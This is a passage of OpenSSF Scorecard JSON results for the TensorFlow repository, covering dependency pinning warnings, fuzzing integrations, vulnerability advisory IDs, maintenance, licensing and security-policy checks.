tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: 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by hash: .github/workflows/pylint-presubmit.yml:47","Info:  19 out of  19 GitHub-owned GitHubAction dependencies pinned","Info:   6 out of   6 third-party GitHubAction dependencies pinned","Info:  12 out of  59 containerImage dependencies pinned","Info:   2 out of 121 pipCommand dependencies pinned","Info:   0 out of   4 downloadThenRun dependencies pinned","Info:   0 out of   2 goCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/abs_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/acos_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/acosh_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/add_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/constant_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/dataFormatVecPermute_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/immutableConst_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/python_fuzzing.py:17","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/raggedCountSparseOutput_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/sparseCountSparseOutput_fuzz.py:16","Info: PythonAtherisFuzzer integration found: tensorflow/security/fuzzing/tf2migration_fuzz.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#fuzzing"}},{"name":"CI-Tests","score":9,"reason":"27 out of 28 merged PRs checked by a CI test -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 21 contributing companies or organizations","details":["Info: found contributions from: NVIDIA, coredns, google, google brain, google germany gmbh, googlers, haskell-ro, https://github.com/google, iesl, iree-org, keras-team, llvm, moby, nvidia, openxla, ray-project @anyscale ex-@tensorflow, rosedu, scikit-learn, sosy-lab, tensorflow, xinutec"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#contributors"}},{"name":"Vulnerabilities","score":0,"reason":"42 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2014-14 / GHSA-652x-xj99-gmcc","Warn: Project is vulnerable to: GHSA-9hjg-9r4m-mvj7","Warn: Project is vulnerable to: GHSA-9wx4-h78v-vm56","Warn: Project is vulnerable to: PYSEC-2014-13 / GHSA-cfj3-7x9c-4p3h","Warn: Project is vulnerable to: PYSEC-2018-28 / GHSA-x84v-xcm2-53pg","Warn: Project is vulnerable to: GHSA-34jh-p97f-mpxf","Warn: Project is vulnerable to: PYSEC-2023-212 / GHSA-g4mx-q9vg-27p4","Warn: Project is vulnerable to: PYSEC-2023-207 / GHSA-gwvm-45gx-3cf8","Warn: Project is vulnerable to: PYSEC-2019-133 / GHSA-mh33-7rrq-662w","Warn: Project is vulnerable to: GHSA-pq67-6m6q-mj2v","Warn: Project is vulnerable to: PYSEC-2019-132 / GHSA-r64q-w8jr-g9qp","Warn: Project is vulnerable to: PYSEC-2023-192 / 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: 